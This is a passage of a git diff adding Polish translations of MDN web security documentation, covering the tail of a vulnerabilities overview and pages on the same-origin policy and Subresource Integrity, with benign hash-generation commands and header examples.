+<p>Jedna podatność może skutkować dostępem do systemu na poziomie administratora, podczas gdy inna jedynie umożliwiać odczyt nieistotnego pliku.</p>
+
+<p>Ostatecznie organizacje muszą wiedzieć, jak trudno jest wykorzystać daną podatność i co się stanie w sytuacji, jeśli dojdzie do jej wykorzystania.</p>
+
+<h2 id="Podatności_stron_WWW">Podatności stron WWW</h2>
+
+<p>OWASP lub Projekt Bezpieczeństwa Otwartej Sieci (Open Web Security Project) to organizacja non-profit skoncentrowana na zwiększaniu bezpieczeństwa oprogramowania i aplikacji WWW. Wg Open Web Application Security Project pod względem popularności XSS był <a class="external external-icon" href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" rel="noopener">siódmą z najczęściej spotykanych podatności aplikacji WWW</a> w roku 2017.</p>
+
+<p>Organizacja publikuje listę najważniejszych podatności aplikacji WWW bazując na danych z różnych organizacji bezpieczeństwa.</p>
+
+<p><a href="/en-US/docs/Web/Security">Podatnosci aplikacji WWW</a> są priorytetowane pod względem możliwości wykorzystania, wykrywalności i wpływu na oprogramowanie, którym może być każdy CMS, jak WordPress, Joomla, Magneto, Woocommerce i inne.</p>
+
+<p>Poniżej przedstawiamy sześć najpopularniejszych podatności stron WWW, przed którymi musisz się chronić.</p>
+
+<p>1. SQL Injections<br>
+ 2. <a href="/en-US/docs/Glossary/Cross-site_scripting">Cross Site Scripting (XSS)</a><br>
+ 3. Broken Authentication &amp; Session Management -<a href="https://developer.mozilla.org/en-US/docs/Archive/IdentityManager"> IdentityManager</a><br>
+ 4. Insecure Direct Object References -<a href="https://developer.mozilla.org/en-US/docs/Glossary/DOM"> DOM (Document Object Model)</a><br>
+ 5. Security Misconfiguration<br>
+ 6. <a href="/en-US/docs/Glossary/CSRF">Cross-Site Request Forgery (CSRF) </a></p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a class="external" href="https://www.owasp.org/">Projekt Bezpieczeństwa Otwartej Sieci (OWASP)</a></li>
+ <li><a href="https://cve.mitre.org/">Popularne Podatności i Narażenia (CVE)</a></li>
+ <li><a href="https://secure.wphackedhelp.com/blog/wordpress-vulnerabilities-how-to-fix-guide-tools/">Popularne Podatności Bezpieczeństwa WordPressa</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Vulnerability_database">Baza danych podatności</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Informacja o dokumentacji źródłowej</h3>
+
+<ul>
+ <li>Autorzy: Elizabeth LeMay, Karen Scarfone i Peter Mell</li>
+ <li>Tytuł: National Institute of Standards and Technology (NIST) Interagency Report 7864, The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities</li>
+ <li>Data ostatniej modyfikacji: July 2012</li>
+ <li>Informacja o prawach autorskich: Niniejszy dokument nie podlega prawom autorskim.</li>
+</ul>
+</div>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/pl/web/bezpieczeństwo/same-origin_policy/index.html b/files/pl/web/bezpieczeństwo/same-origin_policy/index.html
new file mode 100644
index 0000000000..23f296444e
--- /dev/null
+++ b/files/pl/web/bezpieczeństwo/same-origin_policy/index.html
@@ -0,0 +1,277 @@
+---
+title: Reguła tego samego pochodzenia (Same-origin policy)
+slug: Web/Bezpieczeństwo/Same-origin_policy
+tags:
+ - Bezpieczeństwo
+ - CORS
+ - Host
+ - JavaScript
+ - Same-origin policy
+ - URL
+ - origin
+ - pochodzenie
+ - reguła tego samego pochodzenia
+ - źródło
+translation_of: Web/Security/Same-origin_policy
+---
+<p><span class="seoSummary"><strong>Same-origin policy</strong> (reguła tego samego pochodzenia) to istotny mechanizm bezpieczeństwa, który określa sposób, w jaki dokument lub skrypt jednego pochodzenia ({{Glossary("origin")}}) może komunikować się z zasobem innego pochodzenia.</span> Pozwala to na odizolowanie potencjalnie szkodliwych dokumentów i tym samym redukowane są czynniki sprzyjające atakom.</p>
+
+<h2 id="Definicja_origin">Definicja "origin"</h2>
+
+<p>Dwa URLe są <em>tego samego pochodzenia</em>, jeśli {{Glossary("protocol")}}, {{Glossary("port")}} (jeśli wyszczególniony) oraz {{Glossary("host")}} są takie same dla obu. Tego typu charakterystykę nazywa się "krotką schematu/hosta/portu" ("scheme/host/port tuple") lub po prostu "krotką" ("Krotka" to kolekcja elementów tworzących zbiór - generyczna forma, która może być podwójna/potrójna/poczwórna itd.).</p>
+
+<p>Poniższa tabela zawiera przykłady zestawień "originów" z URLem <code>http://store.company.com/dir/page.html</code>:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>URL</th>
+ <th>Wynik</th>
+ <th>Powód</th>
+ </tr>
+ <tr>
+ <td><code>http://store.company.com/dir2/other.html</code></td>
+ <td>Same origin</td>
+ <td>Różni się tylko ścieżka</td>
+ </tr>
+ <tr>
+ <td><code>http://store.company.com/dir/inner/another.html</code></td>
+ <td>Same origin</td>
+ <td>Różni się tylko ścieżka</td>
+ </tr>
+ <tr>
+ <td><code>https://store.company.com/page.html</code></td>
+ <td>Niepowodzenie</td>
+ <td>Inny protokół</td>
+ </tr>
+ <tr>
+ <td><code>http://store.company.com:81/dir/page.html</code></td>
+ <td>Niepowodzenie</td>
+ <td>Inny port (<code>http://</code> domyślnie jest portem 80)</td>
+ </tr>
+ <tr>
+ <td><code>http://news.company.com/dir/page.html</code></td>
+ <td>Niepowodzenie</td>
+ <td>Inny host</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Zobacz również <a href="/en-US/docs/Archive/Misc_top_level/Same-origin_policy_for_file:_URIs">definicję "origin" dla URLów <code>file:</code></a>, ich zestawienie jest bardziej złożone.</p>
+
+<h3 id="Odziedziczone_origin">Odziedziczone "origin"</h3>
+
+<p>Skrypty wywoływane przez strony z URLami <code>about:blank</code> lub <code>javascript:</code> dziedziczą "origin" dokumentu zawierającego ten URL, ponieważ tego typu URLe nie zawierają informacji o serwerze źródłowym.</p>
+
+<div class="note">
+<p>Przykładowo, <code>about:blank</code> jest często używany jako URL nowego, pustego, wyskakującego okienka, w którym skrypt-rodzic umieszcza treść (np. przez mechanizm {{domxref("Window.open()")}}). Jeśli dane okienko zawiera również JavaScript, skrypt odziedziczy ten sam "origin" jak skrypt, który je utworzył.</p>
+</div>
+
+<div class="warning">
+<p><code>data:</code> URLe zyskują nowy, pusty kontekst bezpieczeństwa.</p>
+</div>
+
+<h3 id="Wyjątki_w_Internet_Explorer">Wyjątki w Internet Explorer</h3>
+
+<p>W Internecie Explorerze istnieją dwa wyjątki od reguły same-origin:</p>
+
+<dl>
+ <dt>Strefy Zaufania</dt>
+ <dd>Jeśli obie domeny znajdują się w <em>strefie wysokiego zaufania</em> (np. firmowe domeny intranetu), wówczas ograniczenia same-origin nie są stosowane.</dd>
+ <dt>Port</dt>
+ <dd>IE nie bierze pod uwagę portów w trakcie sprawdzania obecności tego samego pochodzenia. Przykładowo, <code>https://company.com:81/index.html</code> i <code>https://company.com/index.html</code> są uznawane za posiadające ten sam "origin", więc nie są implementowane żadne ograniczenia .</dd>
+</dl>
+
+<p>Wspomniane wyjątki są niestandardowe i nie są wspierane przez inne przeglądarki.</p>
+
+<h2 id="Zmiana_origin">Zmiana origin</h2>
+
+<p>Strona może zmieniać swoje pochodzenie przy zachowaniu pewnych ograniczeń. Skrypt może nadać wartość {{domxref("document.domain")}} równą swojej obecnej domenie lub superdomenie swojej obecnej domeny. Jeśli odwołuje się do superdomeny obecnej domeny, wówczas krótsza superdomena jest brana pod uwagę przy kontroli same-origin.</p>
+
+<p>Załóżmy, że skrypt z dokumentu pod adresem <code>http://store.company.com/dir/other.html</code> wywołuje poniższą linijkę:</p>
+
+<pre class="brush: js">document.domain = "company.com";
+</pre>
+
+<p>Następnie strona może przejść pomyślnie kontrolę same-origin mając adres <code>http://company.com/dir/page.html</code> (przyjmując, że <code>http://company.com/dir/page.html</code> ma <code>document.domain</code> równe "<code>company.com</code>" by wskazać, że chce na to zezwalać - sprawdź: {{domxref("document.domain")}}). Jednakże, <code>company.com</code> <strong>nie może </strong>ustawić <code>document.domain</code> na <code>othercompany.com</code>, ponieważ nie jest to superdomena <code>company.com</code>.</p>
+
+<p>Numer portu jest sprawdzany oddzielnie przez przeglądarkę. Każde odwołanie do <code>document.domain</code>, w tym <code>document.domain = document.domain</code>, spowoduje przypisanie numerowi portu wartości <code>null</code>. Jednakże, <strong>nie uda się</strong> nawiązać komunikacji <code>company.com:8080</code> z <code>company.com</code> tylko poprzez umieszczenie <code>document.domain = "company.com"</code> w pierwszym z nich. Taki zapis musi znajdować się w obu dokumentach, aby ich porty były równocześnie równe <code>null</code>.</p>
+
+<div class="note">
+<p><strong>Zauważ:</strong> Używając <code>document.domain</code> , żeby pozwolić subdomenie na bezpieczny dostęp do rodzica potrzebujesz ustawić <code>document.domain</code> na tę <em>samą wartość</em> jednocześnie w domenie rodzica i w subdomenie. Jest to wymagane nawet podczas zwykłego przywracania domeny rodzica do pierwotnej wartości. Niepowodzenie może skutkować błędami dostępu.</p>
+</div>
+
+<h2 id="Dostęp_sieciowy_cross-origin_międzyźródłowy">Dostęp sieciowy cross-origin (międzyźródłowy)</h2>
+
+<p>Reguła tego samego pochodzenia kontroluje interakcje pomiędzy dwoma różnymi "originami", np. kiedy używasz elementu {{domxref("XMLHttpRequest")}} czy {{htmlelement("img")}}. Tego typu interakcje przeważnie dzielą się na trzy kategorie:</p>
+
+<ul>
+ <li><em>zapisy </em>cross-origin przeważnie są dopuszczane. Przykłady to: linki, przekierowania i wypełnienia formularzy. Niektóre zapytania HTTP wymagają <a href="/en-US/docs/Web/HTTP/CORS#Preflighted_requests">preflight</a>u.</li>
+ <li><em>osadzanie </em>cross-origin jest przeważnie dopuszczane. (przykłady zostały wylistowane poniżej)</li>
+ <li><em>odczyty </em>cross-origin przeważnie nie są dopuszczane, ale dostęp do odczytu jest zwykle możliwy przez osadzanie. Przykładowo, możliwy jest odczyt wymiarów osadzonego obrazka, działanie osadzonego skryptu czy <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=629094">dostępność osadzonego źródła</a>.</li>
+</ul>
+
+<p>Poniżej znajdują się przykłady zasobów, które można osadzać międzyźródłowo:</p>
+
+<ul>
+ <li>JavaScript z <code>&lt;script src="…"&gt;&lt;/script&gt;</code>. Szczegóły dot. błędu dla błędów składniowych są dostępne wyłącznie dla skryptów same-origin.</li>
+ <li>CSS podpinany poprzez <code>&lt;link rel="stylesheet" href="…"&gt;</code>. Zgodnie z <a class="external" href="http://scarybeastsecurity.blogspot.dk/2009/12/generic-cross-browser-cross-domain.html">luźniejszymi zasadami składni</a> CSS, cross-originowy CSS wymaga poprawnego nagłówka <code>Content-Type</code>. Ograniczenia różnią się w zależności od przeglądarki: <a class="external" href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622939(v=vs.85)?redirectedfrom=MSDN">IE</a>, <a class="external" href="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html">Firefox</a>, <a class="external" href="https://bugs.chromium.org/p/chromium/issues/detail?id=9877">Chrome</a>, <a class="external" href="http://support.apple.com/kb/HT4070">Safari</a> (przewiń do CVE-2010-0051) i <a class="external" href="https://security.opera.com/cross-domain-data-theft-with-css-load-opera-security-advisories/">Opera</a>.</li>
+ <li>Obrazki wyświetlane poprzez {{htmlelement("img")}}.</li>
+ <li>Media odtwarzane poprzez {{htmlelement("video")}} i {{htmlelement("audio")}}.</li>
+ <li>Wtyczki osadzane za pomocą {{htmlelement("object")}}, {{htmlelement("embed")}} oraz {{htmlelement("applet")}}.</li>
+ <li>Czcionki używane poprzez {{cssxref("@font-face")}}. Niektóre przeglądarki zezwalają na czcionki cross-origin, inne wymagają same-origin.</li>
+ <li>Cokolwiek osadzane poprzez {{htmlelement("frame")}} i {{htmlelement("iframe")}}. Strony mogą używać nagłówka {{HTTPHeader("X-Frame-Options")}}, by zapobiegać framingowi cross-origin.</li>
+</ul>
+
+<h3 id="Jak_umożliwić_dostęp_cross-origin">Jak umożliwić dostęp cross-origin</h3>
+
+<p>Poprzez <a href="/en-US/docs/Web/HTTP/CORS">CORS</a> można zezwolić na dostęp cross-origin. CORS jest częścią {{Glossary("HTTP")}}, co pozwala serwerom na określanie, które hosty są upoważnione do ładowania treści z tego serweru.</p>
+
+<h3 id="Jak_zablokować_dostęp_cross-origin">Jak zablokować dostęp cross-origin</h3>
+
+<ul>
+ <li>By uniemożliwić zapisy cross-origin należy sprawdzić token w żądaniu — chodzi konkretniej o token <a class="external" href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">Cross-Site Request Forgery (CSRF)</a>. Odczyty typu cross-origin muszą być zablokowane na stronach używających tego typu tokenu.</li>
+ <li>By uniemożliwić odczyty cross-origin należy upewnić się, że dane zasoby nie są osadzalne. Często koniecznym jest uniemożliwienie osadzania, ponieważ osadzanie źródła zawsze ujawnia jakieś informacje o nim.</li>
+ <li>By uniemożliwić osadzanie cross-origin należy upewnić się, że dane zasoby nie mogą być interpretowane jako jeden z osadzanych formatów wylistowanych poniżej. Przeglądarki mogą ignorować nagłówki <code>Content-Type</code>. Przykładowo, jeśli w dokumencie HTML umieszczony zostanie tag <code>&lt;script&gt;</code>, przeglądarka będzie próbować parsować HTML jako JavaScript. Jeśli zasób nie jest głównym podprogramem strony do zapobiegania osadzaniu można dodatkowo użyć tokenu CSRF.</li>
+</ul>
+
+<h2 id="Dostęp_cross-origin_API_skryptu">Dostęp cross-origin API skryptu</h2>
+
+<p>API JavaScriptu, jak {{domxref("HTMLIFrameElement.contentWindow", "iframe.contentWindow")}}, {{domxref("window.parent")}}, {{domxref("window.open")}} i {{domxref("window.opener")}} pozwalają dokumentom na bezpośrednią, wzajemną referencję. Jeśli dwa dokumenty nie są tego samego pochodzenia, referencje te umożliwiają bardzo ograniczony dostęp do obiektów {{domxref("Window")}} i {{domxref("Location")}}, jako opisano w następnych dwóch sekcjach.</p>
+
+<p>Do komunikacji pomiędzy dokumentami o różnym pochodzeniu stosuje się {{domxref("window.postMessage")}}.</p>
+
+<p>Specyfikacja: <a class="external" href="https://html.spec.whatwg.org/multipage/browsers.html#cross-origin-objects">Standard HTML § Obiekty cross-origin</a>.</p>
+
+<h3 id="Window">Window</h3>
+
+<p>Poniższy dostęp cross-origin jest dopuszczany w przypadku wymienionych właściwości <code>Window</code>:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Metody</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{domxref("window.blur")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.close")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.focus")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.postMessage")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Własności</th>
+ <th scope="col"></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{domxref("window.closed")}}</td>
+ <td>Tylko do odczytu.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.frames")}}</td>
+ <td>Tylko do odczytu.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.length")}}</td>
+ <td>Tylko do odczytu.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.location")}}</td>
+ <td>Odczyt/Zapis.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.opener")}}</td>
+ <td>Tylko do odczytu.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.parent")}}</td>
+ <td>Tylko do odczytu.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.self")}}</td>
+ <td>Tylko do odczytu.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.top")}}</td>
+ <td>Tylko do odczytu.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.window")}}</td>
+ <td>Tylko do odczytu.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Niektóre przeglądarki zezwalają na dostęp większej ilości właściwości, niż wypisane powyżej.</p>
+
+<h3 id="Location">Location</h3>
+
+<p>Poniższy dostęp cross-origin jest dopuszczany w przypadku właściwości <code>Location</code>:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Metody</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{domxref("location.replace")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Atrybuty</th>
+ <th scope="col"></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{domxref("URLUtils.href")}}</td>
+ <td>Tylko do zapisu.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Niektóre przeglądarki umożliwiają dostęp do większej liczby właściwości, niż wymienione powyżej.</p>
+
+<h2 id="Dostęp_cross-origin_do_danych_pamięci">Dostęp cross-origin do danych pamięci</h2>
+
+<p>Dostęp do danych przechowywanych w przeglądarce, jak <a href="/en-US/docs/Web/API/Web_Storage_API">localStorage</a> czy <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> są odseparowane pochodzeniem. Każdy origin otrzymuje własną, odseparowaną pamięć i JavaScript jednego pochodzenia nie może odczytywać lub wpisywać niczego do pamięci należącej do innego originu.</p>
+
+<p>Ciasteczka (cookies) używają oddzielnej definicji originów. Strona może ustalić ciasteczko dla własnej domeny lub domeny-rodzica dopóki, gdy domena-rodzic nie jest sufiksem publicznym. Firefox i Chrome używają listy sufiksów publicznych (<a class="external" href="https://publicsuffix.org/">Public Suffix List</a>), by zweryfikować czy domena jest sufiksem publicznym. Internet Explorer używa własnej, wewnątrznej metody weryfikacji czy domena jest sufiksem publicznym. Przeglądarka udostępni ciasteczko podanej domenie zawierającej jakiekolwiek subdomeny, niezależnie jaki protokół (HTTP/HTTPS) czy port jest używany. Przy ustalaniu ciasteczka możliwe jest określenie limitu dostępności używając flag domeny (Domain), ścieżki (Path), bezpiecznej (Secure) i Http-Only. Gdy odczytywane jest ciasteczko nie można zobaczyć, gdzie zostało ustalone. Nawet jeśli używane są wyłącznie bezpieczne połączenia https dane ciasteczko mogło zostać ustalone poprzez połączenie niebezpieczne.</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Archive/Misc_top_level/Same-origin_policy_for_file:_URIs">Reguła same-origin dla file: URIy</a></li>
+ <li><a href="http://www.w3.org/Security/wiki/Same_Origin_Policy">Reguła Same-Origin na W3C</a></li>
+ <li><a href="https://web.dev/secure/same-origin-policy">https://web.dev/secure/same-origin-policy</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Informacje dot. dokumentu źródłowego</h2>
+
+<ul>
+ <li>Author(s): Jesse Ruderman</li>
+</ul>
+</div>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/pl/web/bezpieczeństwo/subresource_integrity/index.html b/files/pl/web/bezpieczeństwo/subresource_integrity/index.html
new file mode 100644
index 0000000000..69f20709ec
--- /dev/null
+++ b/files/pl/web/bezpieczeństwo/subresource_integrity/index.html
@@ -0,0 +1,163 @@
+---
+title: Integralność podzasobów (Subresource Integrity)
+slug: Web/Bezpieczeństwo/Subresource_Integrity
+tags:
+ - Bezpieczeństwo
+ - HTML
+ - HTTP
+ - Wstęp
+ - bezpieczeństwo aplikacji WWW
+translation_of: Web/Security/Subresource_Integrity
+---
+<p><span class="seoSummary"><strong>Subresource Integrity</strong> (SRI), w wolnym tłumaczeniu "integralność podzasobów", to funkcja bezpieczeństwa umożliwiająca przeglądarkom weryfikowanie, czy zasoby, które przechwytują (np. z<a href="/en-US/docs/Glossary/CDN"> CDN</a>) docierają do nich bez nieporządanych zmian. Działanie takie jest możliwe dzięki używaniu hasha kryptograficznego, z którym przechwycony zasób musi być zgodny.</span></p>
+
+<div class="note">
+<p><strong>Notka</strong>: W celu weryfikacji integralności podzasobów danych przekazywanych ze źródła innego, niż dokument w którym są osadzane przeglądarki dodatkowo sprawdzają źródło poprzez międzyźródłowe udostępnianie zasobów, tzw. <a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a>. Dzięki temu upewniają się, że pochodzenie (origin) oferujące dane zasoby pozwala na udostępnianie ich z innym, sprecyfizowanym originem.</p>
+</div>
+
+<h2 id="Korzyści_wynikające_z_Subresource_Integrity">Korzyści wynikające z "Subresource Integrity"</h2>
+
+<p>Używając {{Glossary("CDN", "Content Delivery Networks (CDNs)")}} do hostowania plików, jak np. skrypty czy arkusze stylów, które są udostępnianie pośród licznych stron WWW można polepszyć wydajność strony i zachować przepustowość łącza. Jednakże, używając CDNów ryzykujemy, że jeśli atakujący przejmie kontrolę nad CDNem to może wprowadzić szkodliwą zawartość do plików na CDNie (lub zupełnie je zastąpić) i przez to potencjalnie może zaatakować wszystkie strony, które przechwytują pliki z tego CDNu.</p>
+
+<p>"Subresource Integrity" pozwala na ograniczenie ryzyka ataków tego typu poprzez zapewnienie, że pliki które dana aplikacja, bądź dokument WWW przechwytują (m. in. z CDNu) zostały dostarczone bez udziału trzeciej strony, która "wzbogaciła" nasze dane o dodatkową treść oraz bez żadnych, jakichkolwiek innych zmian w przesyłanych plikach.</p>
+
+<h2 id="Używanie_Subresource_Integrity">Używanie "Subresource Integrity"</h2>
+
+<p>Korzystanie z funkcji "Subresource Integrity" jest możliwe przez określenie hasha zakodowanego kryptograficznie w base64 zasobu (pliku), który przeglądarka ma przechwycić, z wartością atrybutu <code>integrity</code> danego elementu {{HTMLElement("script")}} or {{HTMLElement("link")}}.</p>
+
+<p>Wartość <code>integrity</code> zaczyna się od co najmniej jednego stringu, przy czym każdy string zawiera prefiks wskazujący na konkretny algorytm hashowy (obecnie dozwolonymi prefiksami są <code>sha256</code>, <code>sha384</code>, i <code>sha512</code>), następnie opatrzony myślnikiem i zakończony aktualnym hashem zakodowanym w base64.</p>
+
+<div class="note">
+<p><strong>Notka</strong>: Wartość <strong>integrity </strong>może zawierać liczne hashe oddzielone białymi znakami. Zasób zostanie załadowany, jeśli dopasuje się z jednym z tych hashów.</p>
+</div>
+
+<p>Przykładowy string <code>integrity</code> z hashem sha384 zakodowanym w base64:</p>
+
+<pre>sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC
+</pre>
+
+<p>Więc <code>oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC</code> to część "hashowa", a prefiks <code>sha384</code> wskazuje, że jest to hash sha384.</p>
+
+<div class="note">
+<p><strong>Notka</strong>: Część "hashowa" wartości <code>integrity</code> jest, mówić ściśle, <em><strong>skrótem kryptograficznym</strong></em> formowanym przez zastosowanie określonych funkcji hashowych do danego outputu (np. skryptu lub arkuszu stylów). Zwykle używa się skrótu "hash" do określania <em>skrótu kryptograficznego</em>, więc w taki sposób to określenie jest używane w niniejszym artykule.</p>
+</div>
+
+<h3 id="Narzędzia_do_generowania_hashów_SRI">Narzędzia do generowania hashów SRI</h3>
+
+<p>Możesz generować hashe SRI z konsoli z <strong>openssl </strong>używając wywołania polecenia, jak:</p>
+
+<pre class="brush: bash">cat <strong>FILENAME.js</strong> | openssl dgst -sha384 -binary | openssl base64 -A</pre>
+
+<p>lub z <strong>shasum</strong> używając wywołania polecenia, jak:</p>
+
+<pre class="brush: bash">shasum -b -a 384 <strong>FILENAME.js</strong> | awk '{ print $1 }' | xxd -r -p | base64
+</pre>
+
+<div class="note">
+<p><strong>Notka</strong>:</p>
+
+<ul>
+ <li>Krok z <code>xxd</code> pobiera dane wyjściowe w postaci heksadecymalnej z <code>shasum</code> i zamienia je na zapis binarny.</li>
+ <li>Krok z <code>awk</code> jest niezbędny, ponieważ <code>shasum</code> w danych wyjściowych przekazuje zahashowaną nazwę pliku do <code>xxd</code>. Trzeba liczyć się z katastrofalnymi konsekwencjami, jeśli nazwa pliku zawiera znaki występujące w zapisie heksadecymalnym - <code>xxd</code> odkoduje ten zapis i przekaże go do <code>base64</code>.</li>
+</ul>
+</div>
+
+<p>Warto wiedzieć, że dostępny na <a href="https://www.srihash.org/">https://www.srihash.org/</a> <strong>SRI Hash Generator</strong> to narzędzie online umożliwiające generowanie hashy SRI.</p>
+
+<h3 id="Zasady_bezpieczeństwa_zawartości_i_Integralności_podzasobówContent_Security_Policy_Subresource_Integrity">Zasady bezpieczeństwa zawartości i Integralności podzasobów(Content Security Policy &amp; Subresource Integrity)</h3>
+
+<p>Możesz skorzystać z Zasad bezpieczeństwa zawartości (<a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy</a>), by skonfigurować swój serwer, żeby wymuszał by określone typy plików wymagały stosowania Subresource Integrity. Aby to zrobić użyj dyrektywy {{CSP("require-sri-for")}} w swoim nagłówku CSP, np.:</p>
+
+<pre>Content-Security-Policy: require-sri-for script;</pre>
+
+<p>Dzięki temu zapisowi każda próba załadowania JavaScript powiedzie się jedynie, jeśli informacja o Subresource Integrity znajduje się na miejscu, a testy integralności zakończą się sukcesem.</p>
+
+<p>Możesz również określić, że SRI powinno być stosowane podczas ładowania arkuszy stylów:</p>
+
+<pre>Content-Security-Policy: require-sri-for style;</pre>
+
+<p>Możesz również określić zarówno <code>script</code>, jak i <code>style</code> aby wymagać SRI przy obu typach plików.</p>
+
+<h3 id="Udostępnianie_zasobów_między_źródłami_i_Integralności_podzasobów_Cross-Origin_Resource_Sharing_Subresource_Integrity">Udostępnianie zasobów między źródłami i Integralności podzasobów (Cross-Origin Resource Sharing &amp; Subresource Integrity)</h3>
+
+<p>Celem weryfikacji integralności podzasobów danych pochodzących z originu innego, niż dokument, w którym są osadzone, przeglądarki dodatkowo sprawdzają dane za pomocą CORS (<a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a>). Upewniają się, że origin dostarczający dane pozwala na udostępnianie wnioskującemu originowi. Wtedy dane muszą zostać dostarczone z nagłówkiem <code><a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin">Access-Control-Allow-Origin</a></code>, co pozwala na udostępnienie danych wnioskującemu originowi, np.:</p>
+
+<pre>Access-Control-Allow-Origin: *</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>W poniższych przykładach przyjmimy, że <code id="sriSnippet">oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC</code> to oczekiwany hash SHA-384 (skrót) określonego skryptu <code>example-framework.js</code> i że istnieje kopia skryptu hostowana na <code>https://example.com/example-framework.js</code>.</p>
+
+<h3 id="Subresource_Integrity_with_the_&lt;script>_element">Subresource Integrity with the &lt;script&gt; element</h3>
+
+<p>Możesz użyć niniejszego elementu {{HTMLElement("script")}}, by nakazać przeglądarce, aby przed wywołaniem skryptu <code>https://example.com/example-framework.js</code> najpierw porównała skrypt z oczekiwanym hashem i zweryfikowała, że są dopasowane.</p>
+
+<pre class="brush: html">&lt;script src="https://example.com/example-framework.js"
+ integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
+ crossorigin="anonymous"&gt;&lt;/script&gt;</pre>
+
+<div class="note">
+<p><strong>Notka</strong>: By dowiedzieć się więcej nt. zastosowania atrybutu <code>crossorigin</code> sprawdź <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">atrybuty ustawień CORS</a>.</p>
+</div>
+
+<h2 id="Jak_przeglądarki_radzą_sobie_z_Subresource_Integrity">Jak przeglądarki radzą sobie z "Subresource Integrity"</h2>
+
+<p>Przeglądarki radzą sobie z SRI poprzez podjęcie poniższych działań:</p>
+
+<ol>
+ <li>
+ <p>Kiedy przeglądarka napotka element {{HTMLElement("script")}} lub {{HTMLElement("link")}} z atrybutem <code>integrity</code>, przed wywołaniem skryptu lub przed zastosowaniem jakiegokolwiek arkusza stylów określonego przez element {{HTMLElement("link")}}, przeglądarka musi najpierw porównać skrypt lub arkusz stylów do oczekiwanego hasha podanego w wartości <code>integrity</code>.</p>
+
+ <p class="note"><strong>Notka</strong>: Celem weryfikacji integralności podzasobów danych dostarczanych z originu innego, niż dokument, w którym zostały osadzone, przeglądarki dodatkowo sprawdzają dane poprzez stosowanie <a href="/en-US/docs/Web/HTTP/CORS">CORS</a>, aby upewnić się, że origin dostarczający dane pozwala na udostępnianie ich z wnioskującym originem.</p>
+ </li>
+ <li>Jeśli skrypt lub arkusz stylów nie pasuje do odpowiadającej mu wartości <code>integrity</code>, przeglądarka musi odmówić wywołania skryptu lub uwzględnienia arkusza stylów i zamiast tego musi zwrócić błąd sieciowy wskazujący, że nie powiodło się przechwycenie tego skryptu lub arkusza stylów.</li>
+</ol>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Subresource Integrity')}}</td>
+ <td>{{Spec2('Subresource Integrity')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
